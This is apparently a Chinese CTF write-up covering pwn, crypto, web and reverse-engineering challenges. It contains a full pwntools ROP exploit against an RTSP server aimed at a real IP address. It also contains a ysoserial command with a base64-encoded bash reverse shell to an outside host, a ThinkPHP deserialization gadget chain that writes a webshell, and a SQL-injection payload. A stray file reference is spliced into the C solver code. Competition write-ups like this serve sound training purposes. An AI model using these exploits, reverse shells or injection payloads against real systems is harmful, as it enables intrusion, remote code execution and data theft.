
__int64 __fastcall RTSPServer::RTSPClientConnection::handleCmd_GET_PARAMETER(
        RTSPServer::RTSPClientConnection *this,
        const char *a2,
        unsigned int a3)
{
  char s[32]; // [rsp+20h] [rbp-100h] BYREF
  char s1[215]; // [rsp+40h] [rbp-E0h] BYREF
  char v7; // [rsp+117h] [rbp-9h]
  unsigned int v8; // [rsp+118h] [rbp-8h]
  unsigned int i; // [rsp+11Ch] [rbp-4h]

  s1[0] = 0;
  for ( i = 0; (int)(a3 - 9) > (int)i; ++i )
  {
    if ( !strncasecmp("GET_INFO:", &a2[i], 9uLL) )
    {
      for ( i += 9; i < a3 && (a2[i] == 32 || a2[i] == 9); ++i )
        ;
      v8 = 0;
      while ( v8 <= 3 )
      {
        v7 = a2[i];
        s1[v8++] = v7;
        ++i;
      }
      s1[v8] = 0;
      break;
    }
  }
  if ( strcmp(s1, "2023") )
    return RTSPServer::RTSPClientConnection::setRTSPResponse(this, "100 you may want to get more flag", "2023.03.30");
  memset(s, 0, 0x14uLL);
  sprintf(s, "100 maybe you need this %p\n", &gift); // 泄露程序基址的地方
  return RTSPServer::RTSPClientConnection::setRTSPResponse(this, s, "2023.03.30");
}

SET_PARAMETER 用来辅助 DESCRIBE,是用来设置 (this + 10084) == 3 的

__int64 __fastcall RTSPServer::RTSPClientConnection::handleCmd_SET_PARAMETER(
        RTSPServer::RTSPClientConnection *this,
        const char *a2,
        unsigned int a3)
{
  char s1[215]; // [rsp+20h] [rbp-E0h] BYREF
  char v6; // [rsp+F7h] [rbp-9h]
  int v7; // [rsp+F8h] [rbp-8h]
  unsigned int i; // [rsp+FCh] [rbp-4h]

  s1[0] = 0;
  for ( i = 0; (int)(a3 - 14) > (int)i; ++i )
  {
    if ( !strncasecmp("DESCRIBE_FLAG:", &a2[i], 0xEuLL) )
    {
      for ( i += 14; i < a3 && (a2[i] == 32 || a2[i] == 9); ++i )
        ;
      v7 = 0;
      while ( i < a3 )
      {
        v6 = a2[i];
        if ( v6 == 13 || v6 == 10 )
          break;
        s1[v7++] = v6;
        ++i;
      }
      s1[v7] = 0;
      break;
    }
  }
  if ( strcmp(s1, "qwb") )
    return RTSPServer::RTSPClientConnection::setRTSPResponse(this, "200 OK");
  *((_DWORD *)this + 10084) = 3;
  return RTSPServer::RTSPClientConnection::setRTSPResponse(this, "202 OK");
}

DESCRIBE 功能则是在检测 (this + 10084) == 3 之后,进入字符串的复制中,这一过程没有长度限制,存在栈溢出漏洞

char __fastcall RTSPServer::RTSPClientConnection::handleCmd_DESCRIBE(
        RTSPServer::RTSPClientConnection *this,
        const char *a2,
        const char *a3,
        const char *a4)
{
  int v4; // edx
  char result; // al
  char dest[406]; // [rsp+20h] [rbp-1A0h] BYREF
  char v9; // [rsp+1B6h] [rbp-Ah]
  char v10; // [rsp+1B7h] [rbp-9h]
  int v11; // [rsp+1B8h] [rbp-8h]
  int i; // [rsp+1BCh] [rbp-4h]

  dest[0] = 0;
  if ( *a2 )
  {
    strcat(dest, a2);
    *(_WORD *)&dest[strlen(dest)] = 47;
  }
  strcat(dest, a3);
  if ( *((_DWORD *)this + 10084) == 3 )
  {
    for ( i = 0; ; ++i )
    {
      v4 = strlen(a4) - 11;
      result = i;
      if ( v4 <= i )
        break;
      if ( !strncasecmp("vul_string:", &a4[i], 0xBuLL) )
      {
        i += 11;
        v11 = strlen(dest) - 1;
        while ( 1 )
        {
          v10 = a4[i];
          v9 = a4[i + 1];
          if ( v10 == 13 && v9 == 10 )
            break;
          dest[v11++] = v10;
          ++i;
        }
        result = v11;
        dest[v11] = 0;
        return result;
      }
    }
  }
  else
  {
    result = (unsigned __int8)RTSPServer::RTSPClientConnection::authenticationOK(this, "DESCRIBE", dest, a4) == 0;
    if ( !result )
      return (*(__int64 (__fastcall **)(_QWORD, char *, __int64 (__fastcall *)(RTSPServer::RTSPClientConnection *__hidden, void *, ServerMediaSession *), RTSPServer::RTSPClientConnection *, __int64))(**((_QWORD **)this + 1) + 80LL))(
               *((_QWORD *)this + 1),
               dest,
               RTSPServer::RTSPClientConnection::DESCRIBELookupCompletionFunction,
               this,
               1LL);
  }
  return result;
}

到这里,一旦弄清楚了交互方法,那么我们就很容易通过上面所说的,拿到程序基址,并且接触程序执行流

需要注意的是,最后的攻击只能是利用程序的自带的 orw 函数和 flag 字符串进行 flag 读取,如果是直接利用 socket 往程序读入数据,那么很容易出现出现程序崩溃了,数据还没读入的情况

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p = remote('127.0.0.1', 8554)
p = remote('8.147.132.34', 36618)
#p = process('./simpleinterpreter')
elf = ELF('./A-rtsp')
#libc = ELF('./libc-2.27.so')
#sl("vul_string: " + 'a'*0x10)
# SET_PARAMETER DESCRIBE

s("SETUP rtsp://127.0.0.1:8554/wavAudioTest RTSP/1.0\r\n")
s("CSeq: 2\r\n")
s("\r\n")

rl(b'Session: ')
session = rl(b';')[:-1]

# SET_PARAMETER GET_PARAMETER DESCRIBE

s("GET_PARAMETER rtsp://127.0.0.1:8554/* RTSP/1.0\r\n")
s("CSeq: 2\r\n")
s(b'Session: ' + session + b'\r\n')
s("User-Agent: a\r\n")
s("Accept: application/sdp\r\n")
s("Content-Type: text/parameters\r\n")
s("GET_INFO: 2023\r\n")
s("\r\n")

rl(b'0x')
pro_base = int16(p.recv(12)) - 0x2a9990

s("SET_PARAMETER rtsp://127.0.0.1:8554/* RTSP/1.0\r\n")
s("CSeq: 2\r\n")
s(b'Session: ' + session + b'\r\n')
s("User-Agent: a\r\n")
s("Accept: application/sdp\r\n")
s("Content-Type: text/parameters\r\n")
s("DESCRIBE_FLAG: qwb\r\n")
s("\r\n")

rdi = pro_base + 0x7b133
ret = pro_base + 0xa711 
rsi = pro_base + 0x99fb0
rdx = pro_base + 0x19eaa
rax = pro_base + 0x35e4a
rcx = pro_base + 0x4a886
syscall = pro_base + 0x19eac
read = pro_base + elf.sym['read']
fopen = pro_base + elf.sym['fopen']
puts = pro_base + elf.sym['puts']
socket = pro_base + elf.sym['socket']
connect = pro_base + elf.sym['connect']
send = pro_base + elf.sym['send']
exit = pro_base + elf.sym['exit']
buf = pro_base + 0x2A9990
flag = pro_base + 0x7b3e5
r = pro_base + 0x81481

pl = b'a'*0x18c + p8(0xa8 - 1)
pl += p64(rdi) + p64(flag) + p64(rsi) + p64(r) + p64(fopen)
pl += p64(rdi) + p64(6) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100) + p64(read)
pl += p64(rdi) + p64(5) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x50) + p64(rcx) + p64(0) + p64(send)
#pl += p64(rdi) + p64(5) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x50) + p64(rax) + p64(1) + p64(syscall)
#pl += p64(exit)
#pl += p64(rdi) + p64(5) + p64(rsi) + p64(pro_base) + p64(rdx) + p64(0x50) + p64(rcx) + p64(0) + p64(send)

s("DESCRIBE rtsp://127.0.0.1:8554/wavAudioTest RTSP/1.0\r\n")
s(b"vul_string: " + pl + b"\r\n")
s("CSeq: 2\r\n")
s(b'Session: ' + session + b'\r\n')
s("User-Agent: a\r\n")
s("Accept: application/sdp\r\n")
s("\r\n")

while 1 : pr()
lg('pro_base', pro_base)
inter()

Crypto

not only rsa

# SageMath
n = 6249734963373034215610144758924910630356277447014258270888329547267471837899275103421406467763122499270790512099702898939814547982931674247240623063334781529511973585977522269522704997379194673181703247780179146749499072297334876619475914747479522310651303344623434565831770309615574478274456549054332451773452773119453059618433160299319070430295124113199473337940505806777950838270849
# factordb: n = p^5
p = 91027438112295439314606669837102361953591324472804851543344131406676387779969
e = 641747
c = 730024611795626517480532940587152891926416120514706825368440230330259913837764632826884065065554839415540061752397144140563698277864414584568812699048873820551131185796851863064509294123861487954267708318027370912496252338232193619491860340395824180108335802813022066531232025997349683725357024257420090981323217296019482516072036780365510855555146547481407283231721904830868033930943

pari(f"addprimes({p})")
rs = mod(c, p^5).nth_root(e, all=True)
from Crypto.Util.number import *
for r in rs:
    flag = long_to_bytes(int(r))
    if b'flag' in flag:
        print(flag)  # flag{c19c3ec0-d489-4bbb-83fc-bc0419a6822a}

Web

happgame

解题思路

CC6

grpcurl -plaintext -d '{"serializeData": "xxx"}' -vv ip:port helloworld.Greeter.ProcessMsg
java -jar ysoserial.jar CommonsCollections6 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDAuMTc3LjE0My83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}' > poc.ser

grpc传入base64编码即可反弹shell

thinkshop

php版本在容器中启动后

root@ba62a25a8648:/# php -v

PHP 5.6.40-65+ubuntu18.04.1+deb.sury.org+1 (cli)

解题思路

step1 绕过登录

$adminData = Db::table('admin')
            ->cache(true, $Expire)
            ->find($username);

find找admin表时使用key,即id,因此username应为1,密码123456

step2 反序列化

漏洞点:

{php}use app\index\model\Goods;$view=new Goods();echo $view->arrayToMarkdown(unserialize(base64_decode($goods['data'])));{/php}

已知TP v5.0.23,可用ThinkPHP 5.x 的文件上传漏洞 (CVE-2018-20062)。

phpggc稍微改一下即可:

<?php

namespace GadgetChain\ThinkPHP;

class FW1 extends \PHPGGC\GadgetChain\FileWrite
{
    public static $version = '5.0.4-5.0.24';
    public static $vector = '__destruct';
    public static $author = 'zcy2018';
    public static $information = '
    We do not have full control of the path. Also, the path will turn to
    a long hex value(md5). Your file path will be REMOTE_PATH/3b58a9545013e88c7186db11bb158c44.php.
    Tested on Windows with php7.3.4 and apache2.4.39.
    ';

    public function generate(array $parameters)
    {
        # The payload string will get serialized before it gets written to the
        # base64-decode stream, so we need to be careful about the length.
        # e.g. s:100:"AAAA...."; will not decode the same as s:10:"AAA...";
        $path = $parameters['remote_path'];
        $data = base64_encode($parameters['data']);
        $data = preg_replace('/=/','+', $data);

        $length = strlen('<query>' . $data . '</query>');
        
        if($length > 100000)
            throw new \PHPGGC\Exception('Payload too big !');
        
        $log = (int) log10($length);
        $prefix = str_repeat('A', 4 - $log);
        $data = $prefix . $data;

        $poc = new \think\Process($path, $data);
        $exp = array(1,$poc);
        return $exp;

        #return new \think\Process($path, $data);
    }
}

这里有个点,源码中有:

public function getGoodsById($id)
{
    $select = new Select();
    $data = $select->select('goods', 'id', $id);
    if (!empty($data[0]['data']) && substr($data[0]['data'], 0, 3) !== "YTo")
        {
            $this->error("数据错误" , 'index/admin/goods_edit');
        }
    return $data;
}

其中$data[0]是我们的反序列化串,因此需要再套一层数组:

$poc = new \think\Process($path, $data);
        $exp = array(1,$poc);
        return $exp;

        #return new \think\Process($path, $data);

链子:

<?php

namespace think
{
    use think\model\relation\HasMany;

    class Process
    {
        private $processPipes;
        private $status = 3;
        private $processInformation = ['running' => true];

        public function  __construct($path, $data)
        {
            $this->processPipes = new HasMany($path, $data);
        }
    }
    
    class Model
    {
    }
}


namespace think\model
{
    use think\Model;

    class Merge extends Model
    {
        public $a = '1';

        public function __construct()
        {
        }
    }

    class Relation
    {
        protected $query;
    }
}


namespace think\model\relation
{
    use think\console\Output;
    use think\model\Merge;
    use think\model\Relation;
    
    class HasMany extends Relation
    {
        protected $parent;
        protected $localKey = 'a';
        protected $pivot;
        protected $foreignKey;

        public function __construct($path, $data)
        {
            $this->foreignKey = $data;
            $this->query = new Output($path, $data);
            $this->parent = new Merge();
        }
    }
}


namespace think\db
{
    class Query
    {
    }    
}


namespace think\console
{
    class Output
    {
        protected $styles = [
            'where'
        ];
        private $handle;

        public function __construct($path, $data)
        {
            $this->handle = new \think\session\driver\Memcache($path, $data);
        }
    }
}


namespace think\session\driver
{
    class Memcache
    {
        protected $handler;

        public function __construct($path, $data)
        {
            $this->handler = new \think\cache\driver\Memcached($path, $data);
        }
    }
}


namespace think\cache\driver
{
    class Memcached
    {
        protected $tag;
        protected $options;
        protected $handler;
    
        public function __construct($path)
        {
            $this->tag = true;
            $this->options = [
                'expire'   => 0,
                'prefix'   => '',
            ];
            $this->handler = new File($path);
        }
    }
    
    class File
    {
        protected $tag;
        protected $options;

        public function __construct($path)
        {
            $this->tag = false;
            $this->options = [
                'expire'        => 3600,
                'cache_subdir'  => false,
                'prefix'        => '',
                'data_compress' => false,
                'path'          => 'php://filter/convert.base64-decode/resource=' . $path,
            ];
        }
    }
}

step3 sql注入

注入点:

public function updatedata($data, $table, $id)
    {
        if (!$this->connect()) {
            die('Error');
        } else {
            $sql = "UPDATE $table SET ";
            foreach ($data as $key => $value) {
                $sql .= "`$key` = unhex('" . bin2hex($value) . "'), ";
            }
            $sql = rtrim($sql, ', ') . " WHERE `id` = " . intval($id);
            return mysqli_query($this->connect(), $sql);
        }
    }

其中$key可注入,构造poc:

name`="true_flag",`data`="base64(unserial poc)"where`id`=1#

因为serialize($this->markdownToArray($data[‘data’]))

所以还需要提交一个name=data

id=1&name`%3d"true_flag",`data`%3d"YToyOntpOjA7aToxO2k6MTtPOjEzOiJ0aGlua1xQcm9jZXNzIjozOntzOjI3OiIAdGhpbmtcUHJvY2VzcwBwcm9jZXNzUGlwZXMiO086Mjg6InRoaW5rXG1vZGVsXHJlbGF0aW9uXEhhc01hbnkiOjU6e3M6OToiACoAcGFyZW50IjtPOjE3OiJ0aGlua1xtb2RlbFxNZXJnZSI6MTp7czoxOiJhIjtzOjE6IjEiO31zOjExOiIAKgBsb2NhbEtleSI7czoxOiJhIjtzOjg6IgAqAHBpdm90IjtOO3M6MTM6IgAqAGZvcmVpZ25LZXkiO3M6OTg6IkFBUEQ5d2FIQWdJQTBLWm1sc1pWOXdkWFJmWTI5dWRHVnVkSE1vSjNOekxuQm9jQ2NzSnp3L2NHaHdJR1YyWVd3b0pGOVNSVkZWUlZOVVd6RmRLVDgrSnlrN0lBMEtQejQrIjtzOjg6IgAqAHF1ZXJ5IjtPOjIwOiJ0aGlua1xjb25zb2xlXE91dHB1dCI6Mjp7czo5OiIAKgBzdHlsZXMiO2E6MTp7aTowO3M6NToid2hlcmUiO31zOjI4OiIAdGhpbmtcY29uc29sZVxPdXRwdXQAaGFuZGxlIjtPOjI5OiJ0aGlua1xzZXNzaW9uXGRyaXZlclxNZW1jYWNoZSI6MTp7czoxMDoiACoAaGFuZGxlciI7TzoyODoidGhpbmtcY2FjaGVcZHJpdmVyXE1lbWNhY2hlZCI6Mzp7czo2OiIAKgB0YWciO2I6MTtzOjEwOiIAKgBvcHRpb25zIjthOjI6e3M6NjoiZXhwaXJlIjtpOjA7czo2OiJwcmVmaXgiO3M6MDoiIjt9czoxMDoiACoAaGFuZGxlciI7TzoyMzoidGhpbmtcY2FjaGVcZHJpdmVyXEZpbGUiOjI6e3M6NjoiACoAdGFnIjtiOjA7czoxMDoiACoAb3B0aW9ucyI7YTo1OntzOjY6ImV4cGlyZSI7aTozNjAwO3M6MTI6ImNhY2hlX3N1YmRpciI7YjowO3M6NjoicHJlZml4IjtzOjA6IiI7czoxMzoiZGF0YV9jb21wcmVzcyI7YjowO3M6NDoicGF0aCI7czo1ODoicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT0vdmFyL3d3dy9odG1sLyI7fX19fX19czoyMToiAHRoaW5rXFByb2Nlc3MAc3RhdHVzIjtpOjM7czozMzoiAHRoaW5rXFByb2Nlc3MAcHJvY2Vzc0luZm9ybWF0aW9uIjthOjE6e3M6NzoicnVubmluZyI7YjoxO319fQ%3D%3D"where`id`%3d1%23=&data=

RCE读取根目录flag即可

RE

ezre

主逻辑在 init array 里,但程序会 fork 出两个进程然后父进程对子进程挂调试,通过 ptrace 的方式获取 main 函数读取到的数据然后在 0x000000000003580 处的函数函数里走真检查。

绕过方法也简单,直接跑起来然后手动用 gdb 附加上去,因为 read 的时候没输入数据会阻塞,所以这个时候附加然后下个断点就能调试到真正的逻辑了。

大致是这样:

unsigned __int64 __fastcall sub_2220(unsigned __int8 a1, __int64 a2, __int64 a3, __int64 a4)
{
  __int64 v5; // [rsp+8h] [rbp-398h]
  __int64 v6; // [rsp+28h] [rbp-378h]
  _BYTE *ptr; // [rsp+100h] [rbp-2A0h]
  int m; // [rsp+108h] [rbp-298h]
  int i; // [rsp+10Ch] [rbp-294h]
  int j; // [rsp+10Ch] [rbp-294h]
  int k; // [rsp+10Ch] [rbp-294h]
  int n; // [rsp+10Ch] [rbp-294h]
  __int64 v15[32]; // [rsp+130h] [rbp-270h] BYREF
  __int64 v16; // [rsp+230h] [rbp-170h]
  __int64 v17; // [rsp+238h] [rbp-168h]
  __int64 v18; // [rsp+240h] [rbp-160h]
  __int64 v19; // [rsp+248h] [rbp-158h]
  __int64 v20[36]; // [rsp+250h] [rbp-150h] BYREF
  __int64 s; // [rsp+370h] [rbp-30h] BYREF
  __int64 v22; // [rsp+378h] [rbp-28h] BYREF
  __int64 v23; // [rsp+380h] [rbp-20h] BYREF
  __int64 v24; // [rsp+388h] [rbp-18h] BYREF
  unsigned __int64 v25; // [rsp+398h] [rbp-8h]

  v25 = __readfsqword(0x28u);
  ptr = malloc(0x32uLL);
  memset(&s, 0, 0x20uLL);
  memset(v20, 0, sizeof(v20));
  memset(v15, 0, 0x120uLL);
  data_change(a2, &s);
  data_change(a2 + 4, &v22);
  data_change(a2 + 8, &v23);
  data_change(a2 + 12, &v24);
  v20[0] = s ^ 0xA3B1BAC6LL;
  v20[1] = v22 ^ 0x56AA3350;
  v20[2] = v23 ^ 0x677D9197;
  v20[3] = v24 ^ 0xB27022DCLL;
  for ( i = 0; i < 32; ++i )
  {
    v6 = v20[i];
    v20[i + 4] = origin_change(qword_6030[i] ^ v20[i + 3] ^ v20[i + 2] ^ v20[i + 1]) ^ v6;
  }
  for ( j = 0; j < a1; ++j )
    ptr[j] = *(a3 + j);
  for ( k = 0; k < 16 - a1 % 16; ++k )
    ptr[a1 + k] = 0;
  for ( m = 0; m < (a1 % 16 != 0) + a1 / 16; ++m )
  {
    data_change(&ptr[16 * m], v15);
    data_change(&ptr[16 * m + 4], &v15[1]);
    data_change(&ptr[16 * m + 8], &v15[2]);
    data_change(&ptr[16 * m + 12], &v15[3]);
    for ( n = 0; n < 32; ++n )
    {
      v5 = v15[n];
      v15[n + 4] = enc_func(v20[n + 4] ^ v15[n + 3] ^ v15[n + 2] ^ v15[n + 1]) ^ v5;
    }
    put_data_reserve_4byte(v19, 16 * m + a4);
    put_data_reserve_4byte(v18, 16 * m + a4 + 4);
    put_data_reserve_4byte(v17, 16 * m + a4 + 8);
    put_data_reserve_4byte(v16, 16 * m + a4 + 12);
  }
  free(ptr);
  return v25;
}

data_change 和 put_data_reserve_4byte 都是可逆的没什么疑问,主要是最后一个 enc_func 不太可逆。

但仔细想想,其实不太需要关心 enc_func 实现,因为这实际上是前 3 个字节的输入决定当前字节的结果,实际的等式只有这一行:

v15[n + 4] = enc_func(v20[n + 4] ^ v15[n + 3] ^ v15[n + 2] ^ v15[n + 1]) ^ v15[n];

其中 “v15[n + 4]” v20[n + 4] v15[n + 3] v15[n + 2] v15[n + 1] 都是已知的,所以可以直接逆推出 v15[n]:

v15[n] = enc_func(v20[n + 4] ^ v15[n + 3] ^ v15[n + 2] ^ v15[n + 1]) ^ v15[n + 4];

然后就是还原函数直接跑了:

#include <cmath>
#include <cstdio>
#include <cstring>
#include <iostream>
#include"ida.h"
unsigned char ida_chars[] =
{
  0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6,
  0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05, 0x2B, 0x67, 0x9A, 0x76,
  0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86,
  0x06, 0x99, 0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A,
  0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62, 0xE4, 0xB3,
  0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA,
  0x75, 0x8F, 0x3F, 0xA6, 0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73,
  0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8,
  0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB,
  0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35, 0x1E, 0x24, 0x0E, 0x5E,
  0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x21,
  0x78, 0x87, 0xD4, 0x00, 0x46, 0x57, 0x9F, 0xD3, 0x27, 0x52,
  0x4C, 0x36, 0x02, 0xE7, 0xA0, 0xC4, 0xC8, 0x9E, 0xEA, 0xBF,
  0x8A, 0xD2, 0x40, 0xC7, 0x38, 0xB5, 0xA3, 0xF7, 0xF2, 0xCE,
  0xF9, 0x61, 0x15, 0xA1, 0xE0, 0xAE, 0x5D, 0xA4, 0x9B, 0x34,
  0x1A, 0x55, 0xAD, 0x93, 0x32, 0x30, 0xF5, 0x8C, 0xB1, 0xE3,
  0x1D, 0xF6, 0xE2, 0x2E, 0x82, 0x66, 0xCA, 0x60, 0xC0, 0x29,
  0x23, 0xAB, 0x0D, 0x53, 0x4E, 0x6F, 0xD5, 0xDB, 0x37, 0x45,
  0xDE, 0xFD, 0x8E, 0x2F, 0x03, 0xFF, 0x6A, 0x72, 0x6D, 0x6C,
  0x5B, 0x51, 0x8D, 0x1B, 0xAF, 0x92, 0xBB, 0xDD, 0xBC, 0x7F,
  0x11, 0xD9, 0x5C, 0x41, 0x1F, 0x10, 0x5A, 0xD8, 0x0A, 0xC1,
  0x31, 0x88, 0xA5, 0xCD, 0x7B, 0xBD, 0x2D, 0x74, 0xD0, 0x12,
  0xB8, 0xE5, 0xB4, 0xB0, 0x89, 0x69, 0x97, 0x4A, 0x0C, 0x96,
  0x77, 0x7E, 0x65, 0xB9, 0xF1, 0x09, 0xC5, 0x6E, 0xC6, 0x84,
  0x18, 0xF0, 0x7D, 0xEC, 0x3A, 0xDC, 0x4D, 0x20, 0x79, 0xEE,
  0x5F, 0x3E, 0xD7, 0xCB, 0x39, 0x48
};


unsigned int higt_bit_to_low(unsigned int a1,unsigned int a2)
{
    return (a1 >> (32 - a2)) ^ (a1 << a2);
}

unsigned int origin_change(unsigned int input) {
    unsigned int now = 0;
    char v6[4];
    char s[4];
    for (int i = 0; i < 4; i++)
    {
        s[3-i] =(((input >> (8 * i))) & 0xff);
    }
    for (int i = 0; i < 4; i++)
    {
        v6[i] = ida_chars[(unsigned char)s[i]];
    }
    for (int i = 0; i < 4; i++)
    {
        now+= (((v6[i])) & 0xff)<<((3-i)*8);
    }
    return higt_bit_to_low(now, 2) ^ higt_bit_to_low(now, 10) ^ higt_bit_to_low(now, 18) ^ higt_bit_to_low(now, 24)  ^ now;
}

unsigned int origin_change2(unsigned int input) {
    unsigned int now = 0;
    char v6[4];
    char s[4];
    for (int i = 0; i < 4; i++)
    {
        s[3 - i] = (((input >> (8 * i))) & 0xff);
    }
    for (int i = 0; i < 4; i++)
    {
        v6[i] = ida_chars[(unsigned char)s[i]];
    }
    for (int i = 0; i < 4; i++)
    {
        now += (((v6[i])) & 0xff) << ((3 - i) * 8);
    }
    return higt_bit_to_low(now, 13) ^ higt_bit_to_low(now, 23)  ^ now;
}
_QWORD qword_6030[32] =
{
  462357LL,
  472066609LL,
  943670861LL,
  1415275113LL,
  1886879365LL,
  2358483617LL,
  2830087869LL,
  3301692121LL,
  3773296373LL,
  4228057617LL,
  404694573LL,
  876298825LL,
  1347903077LL,
  1819507329LL,
  2291111581LL,
  2762715833LL,
  3234320085LL,
  3705924337LL,
  4177462797LL,
  337322537LL,
  808926789LL,
  1280531041LL,
  1752135293LL,
  2223739545LL,
  2695343797LL,
  3166948049LL,
  3638552301LL,
  4110090761LL,
  269950501LL,
  741554753LL,
  1213159005LL,
  1684763257LL
};



int main() {
    long long v7[4];
    v7[0] = 0x7C88631647197506;
    v7[1] = 0x4A0D7D3FFF55668B;
    v7[2] = 0xDEC2E93F384ED2F5;
    v7[3] = 0x3C1FB1746F7F7CDB;
    unsigned int v15[36];
    //v15[32] = 0x3f7d0d4a;
    //v15[33] = 0x8b6655ff;
    //v15[34] = 0x1663887c;
    //v15[35] = 0x06751947;
    v15[32] = 0x74b11f3c;
    v15[33] = 0xdb7c7f6f;
    v15[34] = 0x3fe9c2de;
    v15[35] = 0xf5d24e38;

    //v15[35] = 0x3C1FB1746F7F7CDB;
    long long v20[36] = {
        0xa292ffa1,0xdf01febf,0x665ed4f0,0x3bdbef33
    };
    long long v6 = 0;
    for (int i = 0; i < 32; i++)
    {
        v6 = v20[i];
        v20[i + 4] = origin_change2(qword_6030[i] ^ v20[i + 3] ^ v20[i + 2] ^ v20[i + 1]) ^ v6;
    }

    for (int i = 31; i >= 0 ; i--)
    {
        v15[i] = v15[i + 4] ^ origin_change(v20[i + 4] ^ v15[i + 3] ^ v15[i + 2] ^ v15[i + 1]);
    }
    char* flag = (char*)v15;
    for (int i = 0; i < 16; i++)
    {
        printf("%c", flag[i]);
    }
    //galfk3h{w_0kdlr0rus_n3_3hgu0}
![[SortedListTest.Program.cs]]
    char flag2[] = "galf k3h{ w_0k dlr0 rus_ n3_3 hgu0 }";
    //flag{h3kk0_w0rld_sur3_3n0ugh}


    return 0;
}

最后这边32 字节要分两轮跑,最后得出的字符串再手动改一下顺序就可以了。(见注释)

dotdot

好逆天啊,但是挺有趣的。

C# 写的,所以反编译倒是没什么困难:

private static void Main(string[] args)
{
    try
    {
        BBB();
        byte[] array = new byte[16];
        byte[] array2 = new byte[16];
        byte[] array3 = new byte[16];
        AAA(v31, array2);
        Array.Cle0ar(array, 0, 0);
        AAA(array, array3);
        if (!CCC(v4, array2, 16) || !CCC(v5, array3, 16))
        {
            Environment.Exit(-1);
        }
        v7 = DDD("License.dat");
        EEE(Encoding.UTF8.GetBytes(v6), v7);
        MemoryStream memoryStream = new MemoryStream(v7);
        BinaryFormatter binaryFormatter = new BinaryFormatter();
        memoryStream.Position = 0L;
        binaryFormatter.Deserialize(memoryStream);
        memoryStream.Close();
        Console.WriteLine(Encoding.UTF8.GetString(v10));
    }
    catch (Exception)
    {
        
    }
}

BBB 里会获得输入然后对变量赋值,然后主要是 AAA 这个函数比较复杂,不太能直接逆,主要是其中的这个部分:

void Gen_table(unsigned int* aaa,int i,int j)
{
    int num, num2, num3, num4, tmp1, tmp2, tmp3, tmp4, num5, num6, num7, num8;

    num = v11[i][j * 4][aaa[4 * j]];
    num2 = v11[i][j * 4 + 1][aaa[4 * j + 1]];
    num3 = v11[i][j * 4 + 2][aaa[4 * j + 2]];
    num4 = v11[i][j * 4 + 3][aaa[4 * j + 3]];
    tmp1 = (num >> 28) & 15;
    tmp2 = (num2 >> 28) & 15;
    tmp3 = (num3 >> 28) & 15;
    tmp4 = (num4 >> 28) & 15;
    num5 = v12[i][24 * j][tmp1][tmp2];
    num6 = v12[i][24 * j + 1][tmp3][tmp4];
    tmp1 = (num >> 24) & 15;
    tmp2 = (num2 >> 24) & 15;
    tmp3 = (num3 >> 24) & 15;
    tmp4 = (num4 >> 24) & 15;
    num7 = v12[i][24 * j + 2][tmp1][tmp2];
    num8 = v12[i][24 * j + 3][tmp3][tmp4];
    aaa[4 * j] = (v12[i][24 * j + 4][num5][num6] << 4) | (v12[i][24 * j + 5][num7][num8]);

    tmp1 = (num >> 20) & 15;
    tmp2 = (num2 >> 20) & 15;
    tmp3 = (num3 >> 20) & 15;
    tmp4 = (num4 >> 20) & 15;
    num5 = v12[i][24 * j + 6][tmp1][tmp2];
    num6 = v12[i][24 * j + 7][tmp3][tmp4];
    tmp1 = (num >> 16) & 15;
    tmp2 = (num2 >> 16) & 15;
    tmp3 = (num3 >> 16) & 15;
    tmp4 = (num4 >> 16) & 15;
    num7 = v12[i][24 * j + 8][tmp1][tmp2];
    num8 = v12[i][24 * j + 9][tmp3][tmp4];
    aaa[4 * j + 1] = (v12[i][24 * j + 10][num5][num6] << 4) | (v12[i][24 * j + 11][num7][num8]);


    tmp1 = (num >> 12) & 15;
    tmp2 = (num2 >> 12) & 15;
    tmp3 = (num3 >> 12) & 15;
    tmp4 = (num4 >> 12) & 15;
    num5 = v12[i][24 * j + 12][tmp1][tmp2];
    num6 = v12[i][24 * j + 13][tmp3][tmp4];
    tmp1 = (num >> 8) & 15;
    tmp2 = (num2 >> 8) & 15;
    tmp3 = (num3 >> 8) & 15;
    tmp4 = (num4 >> 8) & 15;
    num7 = v12[i][24 * j + 14][tmp1][tmp2];
